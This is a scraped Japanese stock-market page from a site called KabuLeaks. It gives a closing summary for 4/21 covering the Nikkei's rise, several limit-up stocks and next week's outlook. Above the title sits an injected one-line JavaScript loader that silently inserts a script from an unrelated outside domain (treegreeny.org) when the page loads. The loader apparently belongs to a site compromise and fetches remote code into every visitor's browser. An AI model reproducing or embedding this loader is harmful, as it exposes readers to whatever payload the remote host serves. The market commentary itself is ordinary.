;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/21 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【4/21 大引け】

本日の日経平均株価は190円高の大幅反発。後場は米税制改革への期を背景にした米株高、円安・ドル高の流れを好感から買いが先行。買い一巡後は週末要因やフランス大統領選挙の第1回投票や地政学リスクに伸び悩む場面があったが、後場は先物主導で一段高のほぼ高値引けの展開に。

個別では、ATM向け新通信サービス報道を引き続き材料視の【8023】大興電子通信が連日のストップ高となったほか、構造接着に利用できる樹脂硬化・硬化促進剤を開発したとの一部報道を材料視の【4970】東洋合成工業がストップ高に。また、上方修正・配当の増額の【1946】トーエネック、決算好感の【7949】小松ウオール工業が大幅高となった。

その他、東証1部への鞍替え発表の【6044】三機サービス、 立会外分売の発表を好感の【9835】ジュンテンドーなども買い優勢に。

来週は仏大統領選第1回投票、25日の朝鮮人民軍創建85周年というイベントの通過待ちでどう動くかに注目。全体相場的にはまだしばらくは様子見が続き、物色は引き続き決算好業績銘柄や材料株、直近IPOなどの個別対応のスタンスで。